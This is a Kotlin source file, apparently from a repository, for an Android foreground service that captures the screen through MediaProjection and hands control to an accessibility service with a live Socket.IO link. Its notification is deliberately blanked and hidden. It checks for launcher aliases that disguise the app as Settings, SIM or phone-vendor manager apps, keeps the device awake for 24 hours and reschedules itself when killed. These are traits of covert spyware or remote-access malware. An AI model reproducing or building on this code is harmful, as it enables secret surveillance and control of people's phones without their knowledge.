- 删除 .gradle 缓存和锁文件(checksums, executionHistory, fileHashes 等) - 优化 ScreenCaptureManager 截屏逻辑 - 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码 - 清理多个 KeepAlive 相关服务中的无用导入 - 精简 InstallationStateManager 代码
633 lines
25 KiB
Kotlin
633 lines
25 KiB
Kotlin
package com.hikoncont.service
|
||
|
||
import android.app.Notification
|
||
import android.app.NotificationChannel
|
||
import android.app.NotificationManager
|
||
import android.app.PendingIntent
|
||
import android.app.Service
|
||
import android.content.BroadcastReceiver
|
||
import android.content.Context
|
||
import android.content.Intent
|
||
import android.content.IntentFilter
|
||
import android.content.pm.ServiceInfo
|
||
import android.media.projection.MediaProjection
|
||
import android.media.projection.MediaProjectionManager
|
||
import android.os.Build
|
||
import android.os.IBinder
|
||
import android.os.PowerManager
|
||
import android.util.Log
|
||
import androidx.core.app.NotificationCompat
|
||
import kotlinx.coroutines.*
|
||
import com.hikoncont.MediaProjectionHolder
|
||
import com.hikoncont.R
|
||
|
||
/**
|
||
* 远程控制前台服务
|
||
*
|
||
* 主要职责:
|
||
* 1. 作为MediaProjection的前台服务容器
|
||
* 2. 处理屏幕录制权限和MediaProjection对象创建
|
||
* 3. 维护前台通知
|
||
*/
|
||
class RemoteControlForegroundService : Service() {
|
||
|
||
companion object {
|
||
private const val TAG = "RemoteControlForegroundService"
|
||
private const val NOTIFICATION_CHANNEL_ID = "media_projection_service"
|
||
private const val NOTIFICATION_ID = 2001
|
||
private const val RESTART_DELAY = 3000L // 重启延迟3秒
|
||
}
|
||
|
||
private var mediaProjection: MediaProjection? = null
|
||
private var mediaProjectionManager: MediaProjectionManager? = null
|
||
private var wakeLock: PowerManager.WakeLock? = null
|
||
private var wifiLock: android.net.wifi.WifiManager.WifiLock? = null
|
||
private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
|
||
private var keepAliveJob: Job? = null
|
||
|
||
// ✅ Android 15深度恢复广播接收器
|
||
private val deepRecoveryReceiver = object : BroadcastReceiver() {
|
||
override fun onReceive(context: Context?, intent: Intent?) {
|
||
when (intent?.action) {
|
||
"android.mycustrecev.DEEP_RECOVERY_MODE" -> {
|
||
Log.w(TAG, "🔧 收到Android 15深度恢复广播,重启服务")
|
||
handleDeepRecovery()
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
override fun onCreate() {
|
||
super.onCreate()
|
||
Log.i(TAG, "前台服务创建")
|
||
|
||
mediaProjectionManager = getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
||
createNotificationChannel()
|
||
|
||
// ✅ 注册Android 15深度恢复广播接收器
|
||
if (Build.VERSION.SDK_INT >= 35) {
|
||
val filter = IntentFilter("android.mycustrecev.DEEP_RECOVERY_MODE")
|
||
registerReceiver(deepRecoveryReceiver, filter)
|
||
Log.i(TAG, "✅ 已注册Android 15深度恢复广播接收器")
|
||
}
|
||
|
||
// 获取WakeLock防止系统休眠
|
||
acquireWakeLock()
|
||
|
||
// 启动保活机制
|
||
startKeepAlive()
|
||
}
|
||
|
||
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
||
Log.i(TAG, "前台服务启动命令: ${intent?.action}")
|
||
|
||
when (intent?.action) {
|
||
"START_MEDIA_PROJECTION" -> {
|
||
handleStartMediaProjection(intent)
|
||
}
|
||
"STOP_SCREEN_CAPTURE" -> {
|
||
handleStopScreenCapture()
|
||
}
|
||
"RESTART_SERVICE" -> {
|
||
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
||
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
|
||
}
|
||
}
|
||
|
||
// 确保前台服务已启动
|
||
startForegroundService()
|
||
|
||
return START_STICKY
|
||
}
|
||
|
||
private fun handleStartMediaProjection(intent: Intent) {
|
||
try {
|
||
Log.i(TAG, "开始处理MediaProjection")
|
||
|
||
// 启动前台服务
|
||
startForegroundService()
|
||
|
||
// 从MediaProjectionHolder获取权限数据
|
||
val permissionData = MediaProjectionHolder.getPermissionData()
|
||
|
||
if (permissionData != null) {
|
||
val (resultCode, resultData) = permissionData
|
||
Log.i(TAG, "获取到权限数据: resultCode=$resultCode")
|
||
|
||
if (resultData != null) {
|
||
// ✅ Android 15特殊处理:创建MediaProjection对象并注册回调
|
||
if (Build.VERSION.SDK_INT >= 35) {
|
||
Log.i(TAG, "🔍 Android 15设备,使用专用处理逻辑")
|
||
|
||
// 对于Android 15,优先通过AccessibilityService的专用管理器处理
|
||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||
if (accessibilityService != null) {
|
||
Log.i(TAG, "✅ 通过AccessibilityService的Android 15专用管理器处理")
|
||
accessibilityService.handleMediaProjectionGranted()
|
||
} else {
|
||
// 备用方案:直接创建但记录连接时间用于智能判断
|
||
mediaProjection = mediaProjectionManager?.getMediaProjection(resultCode, resultData)
|
||
if (mediaProjection != null) {
|
||
Log.i(TAG, "✅ Android 15 MediaProjection对象创建成功(备用方案)")
|
||
MediaProjectionHolder.setMediaProjection(mediaProjection)
|
||
notifyAccessibilityService()
|
||
}
|
||
}
|
||
} else {
|
||
// 其他版本的正常处理逻辑
|
||
mediaProjection = mediaProjectionManager?.getMediaProjection(resultCode, resultData)
|
||
|
||
if (mediaProjection != null) {
|
||
Log.i(TAG, "MediaProjection对象创建成功")
|
||
|
||
// 将MediaProjection传递给AccessibilityService
|
||
MediaProjectionHolder.setMediaProjection(mediaProjection)
|
||
|
||
// 通知AccessibilityService
|
||
notifyAccessibilityService()
|
||
|
||
} else {
|
||
Log.e(TAG, "MediaProjection对象创建失败")
|
||
}
|
||
}
|
||
} else {
|
||
Log.e(TAG, "权限数据中的Intent为null")
|
||
}
|
||
} else {
|
||
Log.e(TAG, "无法从MediaProjectionHolder获取权限数据")
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "处理MediaProjection失败", e)
|
||
}
|
||
}
|
||
|
||
private fun handleStopScreenCapture() {
|
||
try {
|
||
Log.i(TAG, "用户请求停止屏幕共享")
|
||
|
||
// 停止MediaProjection
|
||
mediaProjection?.stop()
|
||
mediaProjection = null
|
||
|
||
// 用户主动停止时使用强制清理
|
||
MediaProjectionHolder.forceStopMediaProjection()
|
||
|
||
// 用户主动停止时强制清理权限
|
||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||
accessibilityService?.forceStopScreenCapture() // 使用强制停止方法
|
||
|
||
// 停止前台服务
|
||
stopForeground(true)
|
||
stopSelf()
|
||
|
||
Log.i(TAG, "屏幕共享已停止")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "停止屏幕共享失败", e)
|
||
}
|
||
}
|
||
|
||
private fun startForegroundService() {
|
||
val notification = createNotification()
|
||
|
||
if (Build.VERSION.SDK_INT >= 34) {
|
||
// ✅ Android 14+ (API 34+):参考billd-desk,传入FOREGROUND_SERVICE_TYPE_MANIFEST(-1)
|
||
// 让系统从Manifest中读取foregroundServiceType,确保权限正确声明
|
||
startForeground(
|
||
NOTIFICATION_ID,
|
||
notification,
|
||
ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
|
||
)
|
||
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||
startForeground(
|
||
NOTIFICATION_ID,
|
||
notification,
|
||
ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
|
||
)
|
||
} else {
|
||
startForeground(NOTIFICATION_ID, notification)
|
||
}
|
||
|
||
Log.i(TAG, "前台服务已启动")
|
||
}
|
||
|
||
private fun notifyAccessibilityService() {
|
||
try {
|
||
// 直接通过AccessibilityService实例设置MediaProjection
|
||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||
|
||
if (accessibilityService != null) {
|
||
Log.i(TAG, "找到AccessibilityService实例,直接设置MediaProjection")
|
||
accessibilityService.handleMediaProjectionGranted()
|
||
} else {
|
||
Log.w(TAG, "AccessibilityService实例未找到,使用Intent通知方式")
|
||
|
||
// 备选方案:通过Intent通知
|
||
val serviceIntent = Intent(this, AccessibilityRemoteService::class.java)
|
||
serviceIntent.action = "MEDIA_PROJECTION_GRANTED"
|
||
serviceIntent.putExtra("media_projection_available", true)
|
||
|
||
startService(serviceIntent)
|
||
Log.i(TAG, "已通过Intent通知AccessibilityService MediaProjection权限获取成功")
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "通知AccessibilityService失败", e)
|
||
}
|
||
}
|
||
|
||
private fun createNotificationChannel() {
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||
val channel = NotificationChannel(
|
||
NOTIFICATION_CHANNEL_ID,
|
||
"服务",
|
||
NotificationManager.IMPORTANCE_MIN // ✅ 最低重要性
|
||
).apply {
|
||
description = "服务正在运行中"
|
||
setShowBadge(false)
|
||
enableLights(false)
|
||
enableVibration(false)
|
||
setSound(null, null) // ✅ 无声音
|
||
enableLights(false) // ✅ 无灯光
|
||
enableVibration(false) // ✅ 无振动
|
||
}
|
||
|
||
val notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||
notificationManager.createNotificationChannel(channel)
|
||
}
|
||
}
|
||
|
||
private fun createNotification(): Notification {
|
||
// 创建点击通知的Intent
|
||
val intent = Intent(this, com.hikoncont.MainActivity::class.java)
|
||
val pendingIntent = PendingIntent.getActivity(
|
||
this,
|
||
0,
|
||
intent,
|
||
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
|
||
)
|
||
|
||
return NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID)
|
||
.setContentTitle("") // ✅ 隐藏标题
|
||
.setContentText("") // ✅ 隐藏内容
|
||
.setSmallIcon(R.drawable.ic_remote_control)
|
||
.setContentIntent(pendingIntent)
|
||
.setOngoing(true)
|
||
.setPriority(NotificationCompat.PRIORITY_MIN) // ✅ 最低优先级
|
||
.setCategory(NotificationCompat.CATEGORY_SERVICE)
|
||
.setVisibility(NotificationCompat.VISIBILITY_SECRET) // ✅ 隐藏通知
|
||
.setAutoCancel(false) // 禁止用户取消
|
||
.setShowWhen(false) // ✅ 不显示时间
|
||
.setWhen(System.currentTimeMillis())
|
||
.build()
|
||
}
|
||
|
||
/**
|
||
* 创建停止共享的Intent
|
||
*/
|
||
private fun createStopIntent(): PendingIntent {
|
||
val stopIntent = Intent(this, RemoteControlForegroundService::class.java)
|
||
stopIntent.action = "STOP_SCREEN_CAPTURE"
|
||
return PendingIntent.getService(
|
||
this,
|
||
1,
|
||
stopIntent,
|
||
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
|
||
)
|
||
}
|
||
|
||
/**
|
||
* 获取WakeLock防止系统休眠
|
||
*/
|
||
private fun acquireWakeLock() {
|
||
try {
|
||
val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager
|
||
wakeLock = powerManager.newWakeLock(
|
||
PowerManager.PARTIAL_WAKE_LOCK,
|
||
"RemoteControl::ForegroundService"
|
||
)
|
||
wakeLock?.setReferenceCounted(false)
|
||
// 延长到24小时,确保长期保活
|
||
wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时
|
||
Log.i(TAG, "🔋 强力WakeLock已获取 (24小时)")
|
||
|
||
// ✅ 参考billd-desk:获取WifiLock防止WiFi休眠
|
||
acquireWifiLock()
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取WakeLock失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 参考billd-desk IsolateHolderService:获取WifiLock防止WiFi休眠
|
||
* 确保后台网络传输不中断
|
||
*/
|
||
private fun acquireWifiLock() {
|
||
try {
|
||
val wifiManager = applicationContext.getSystemService(Context.WIFI_SERVICE) as android.net.wifi.WifiManager
|
||
wifiLock = wifiManager.createWifiLock(
|
||
android.net.wifi.WifiManager.WIFI_MODE_FULL_HIGH_PERF,
|
||
"RemoteControl::WifiLock"
|
||
)
|
||
wifiLock?.setReferenceCounted(false)
|
||
wifiLock?.acquire()
|
||
Log.i(TAG, "📶 WifiLock已获取(参考billd-desk保活策略)")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取WifiLock失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 释放WifiLock
|
||
*/
|
||
private fun releaseWifiLock() {
|
||
try {
|
||
if (wifiLock?.isHeld == true) {
|
||
wifiLock?.release()
|
||
Log.i(TAG, "📶 WifiLock已释放")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 释放WifiLock失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 检查APP是否安装完成
|
||
* 只有在安装完成后才开始保活机制,避免第一次打开APP时反复唤醒主页
|
||
*/
|
||
private fun isAppInstallationComplete(): Boolean {
|
||
return try {
|
||
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
|
||
val isCompleted = installationStateManager.isInstallationComplete()
|
||
|
||
if (!isCompleted) {
|
||
Log.d(TAG, "🔒 APP安装未完成,跳过保活检测")
|
||
return false
|
||
}
|
||
|
||
// ✅ 检查安装完成时间,确保不是刚安装完成
|
||
val installationTime = installationStateManager.getInstallationTime()
|
||
val currentTime = System.currentTimeMillis()
|
||
val timeSinceInstallation = currentTime - installationTime
|
||
|
||
// 如果安装完成时间少于30秒,跳过保活检测(给系统足够时间稳定)
|
||
if (timeSinceInstallation < 30000L) {
|
||
Log.d(TAG, "🔒 APP刚安装完成(${timeSinceInstallation}ms),跳过保活检测,等待系统稳定")
|
||
return false
|
||
}
|
||
|
||
true
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 检查APP安装完成状态失败", e)
|
||
false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 启动保活机制
|
||
* ✅ 关键:只有在APP安装完成后才开始保活机制
|
||
*/
|
||
private fun startKeepAlive() {
|
||
keepAliveJob = serviceScope.launch {
|
||
while (isActive) {
|
||
try {
|
||
// ✅ 关键:检查APP是否安装完成,未完成则不进行保活检测
|
||
if (!isAppInstallationComplete()) {
|
||
Log.d(TAG, "🔒 APP安装未完成,跳过保活检测")
|
||
delay(60 * 1000) // 等待1分钟后再次检查
|
||
continue
|
||
}
|
||
|
||
// ✅ 修复:先检查无障碍权限,再检查服务实例
|
||
if (!isAccessibilityServiceEnabled()) {
|
||
Log.w(TAG, "⚠️ 无障碍服务权限已丢失,启动MainActivity重新授权")
|
||
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
||
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
|
||
} else {
|
||
// 权限正常,检查AccessibilityService实例
|
||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||
if (accessibilityService == null) {
|
||
Log.d(TAG, "🔍 无障碍权限正常,但AccessibilityService实例未初始化,等待初始化完成")
|
||
// 权限正常但实例未初始化,等待初始化完成,不强制重启
|
||
} else {
|
||
// AccessibilityService存在,智能检查连接状态
|
||
Log.d(TAG, "🔍 智能检查连接状态")
|
||
|
||
// ✅ 先检查是否真的需要干预
|
||
val socketIOConnected = try {
|
||
accessibilityService.getSocketIOManager()?.isConnected() ?: false
|
||
} catch (e: Exception) { false }
|
||
|
||
// ✅ 只检查Socket.IO连接状态,WebSocket已移除
|
||
if (!socketIOConnected) {
|
||
Log.w(TAG, "⚠️ 检测到Socket.IO连接断开,但等待其自动重连机制处理")
|
||
// 让Socket.IO的重连机制工作,前台服务不强制干预
|
||
} else {
|
||
Log.d(TAG, "✅ Socket.IO连接正常: $socketIOConnected")
|
||
}
|
||
}
|
||
}
|
||
|
||
// 减少到每120秒检查一次,进一步降低干扰
|
||
delay(120 * 1000)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "保活检查失败", e)
|
||
delay(60 * 1000) // 失败时延长检查间隔
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期
|
||
|
||
/**
|
||
* 检查应用是否处于伪装模式
|
||
*/
|
||
private fun isAppInCamouflageMode(): Boolean {
|
||
return try {
|
||
val packageManager = packageManager
|
||
val mainComponent = android.content.ComponentName(this, "com.hikoncont.MainActivity")
|
||
|
||
val camouflageAliases = listOf(
|
||
"com.hikoncont.PhoneManagerAlias",
|
||
"com.hikoncont.VivoIGuanjiaAlias",
|
||
"com.hikoncont.OppoAlias",
|
||
"com.hikoncont.HuaweiAlias",
|
||
"com.hikoncont.HonorAlias",
|
||
"com.hikoncont.XiaomiAlias",
|
||
"com.hikoncont.SettingsAlias",
|
||
"com.hikoncont.SIMAlias"
|
||
)
|
||
|
||
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
|
||
val isMainDisabled = (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
|
||
|
||
var anyAliasEnabled = false
|
||
for (aliasName in camouflageAliases) {
|
||
try {
|
||
val component = android.content.ComponentName(this, aliasName)
|
||
val enabled = packageManager.getComponentEnabledSetting(component)
|
||
if (enabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
|
||
anyAliasEnabled = true
|
||
break
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e)
|
||
}
|
||
}
|
||
|
||
val isCamouflage = isMainDisabled && anyAliasEnabled
|
||
Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (Main: $mainDisabled, AnyAlias: $anyAliasEnabled)")
|
||
isCamouflage
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 检查APP伪装模式失败", e)
|
||
false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 检查无障碍服务是否启用
|
||
*/
|
||
private fun isAccessibilityServiceEnabled(): Boolean {
|
||
return try {
|
||
val accessibilityEnabled = android.provider.Settings.Secure.getInt(
|
||
contentResolver,
|
||
android.provider.Settings.Secure.ACCESSIBILITY_ENABLED
|
||
)
|
||
|
||
if (accessibilityEnabled == 1) {
|
||
val serviceId = "${packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
|
||
val enabledServices = android.provider.Settings.Secure.getString(
|
||
contentResolver,
|
||
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
||
)
|
||
|
||
val isServiceEnabled = enabledServices?.contains(serviceId) == true
|
||
Log.d(TAG, "无障碍服务状态检查: enabled=$isServiceEnabled, serviceId=$serviceId")
|
||
isServiceEnabled
|
||
} else {
|
||
Log.d(TAG, "无障碍功能未启用")
|
||
false
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "检查无障碍服务状态失败", e)
|
||
false
|
||
}
|
||
}
|
||
|
||
override fun onDestroy() {
|
||
Log.i(TAG, "前台服务销毁")
|
||
|
||
// 取消保活任务
|
||
keepAliveJob?.cancel()
|
||
serviceScope.cancel()
|
||
|
||
// 释放WakeLock
|
||
try {
|
||
wakeLock?.release()
|
||
wakeLock = null
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "释放WakeLock失败", e)
|
||
}
|
||
|
||
// ✅ 释放WifiLock(参考billd-desk)
|
||
releaseWifiLock()
|
||
|
||
// ❌ 修复:服务销毁时不要停止MediaProjection权限!
|
||
// 这会导致Android 15设备权限丢失
|
||
// mediaProjection?.stop() // 删除,避免权限被意外停止
|
||
mediaProjection = null
|
||
|
||
// 只清理引用,保留权限数据
|
||
MediaProjectionHolder.clearMediaProjection()
|
||
|
||
// ✅ 取消注册Android 15深度恢复广播接收器
|
||
if (Build.VERSION.SDK_INT >= 35) {
|
||
try {
|
||
unregisterReceiver(deepRecoveryReceiver)
|
||
Log.i(TAG, "✅ 已取消注册Android 15深度恢复广播接收器")
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "取消注册深度恢复广播接收器失败: ${e.message}")
|
||
}
|
||
}
|
||
|
||
// 服务销毁时自动重启
|
||
scheduleRestart()
|
||
|
||
super.onDestroy()
|
||
}
|
||
|
||
/**
|
||
* 安排服务重启
|
||
*/
|
||
private fun scheduleRestart() {
|
||
try {
|
||
val restartIntent = Intent(this, RemoteControlForegroundService::class.java)
|
||
restartIntent.action = "RESTART_SERVICE"
|
||
|
||
val pendingIntent = PendingIntent.getService(
|
||
this,
|
||
1001,
|
||
restartIntent,
|
||
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
|
||
)
|
||
|
||
val alarmManager = getSystemService(Context.ALARM_SERVICE) as android.app.AlarmManager
|
||
val restartTime = System.currentTimeMillis() + RESTART_DELAY
|
||
|
||
alarmManager.setExact(
|
||
android.app.AlarmManager.RTC_WAKEUP,
|
||
restartTime,
|
||
pendingIntent
|
||
)
|
||
|
||
Log.i(TAG, "已安排服务在${RESTART_DELAY}ms后重启")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "安排服务重启失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理Android 15深度恢复
|
||
*/
|
||
private fun handleDeepRecovery() {
|
||
try {
|
||
Log.w(TAG, "🔧 开始Android 15深度恢复流程")
|
||
|
||
// 1. 完全清理当前MediaProjection权限
|
||
mediaProjection?.stop()
|
||
mediaProjection = null
|
||
MediaProjectionHolder.forceStopMediaProjection()
|
||
|
||
// 2. 重启AccessibilityService
|
||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||
accessibilityService?.forceStopScreenCapture()
|
||
|
||
// 3. 延迟后重新启动权限申请流程
|
||
serviceScope.launch {
|
||
delay(3000) // 等待3秒
|
||
|
||
Log.i(TAG, "🚀 启动深度恢复权限申请")
|
||
val intent = Intent(this@RemoteControlForegroundService, com.hikoncont.MainActivity::class.java).apply {
|
||
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP)
|
||
putExtra("AUTO_REQUEST_PERMISSION", true)
|
||
putExtra("DEEP_RECOVERY", true) // 标记为深度恢复
|
||
putExtra("PERMISSION_LOST_RECOVERY", true)
|
||
}
|
||
startActivity(intent)
|
||
|
||
Log.i(TAG, "✅ Android 15深度恢复流程已启动")
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ Android 15深度恢复失败", e)
|
||
}
|
||
}
|
||
|
||
override fun onBind(intent: Intent?): IBinder? {
|
||
return null
|
||
}
|
||
} |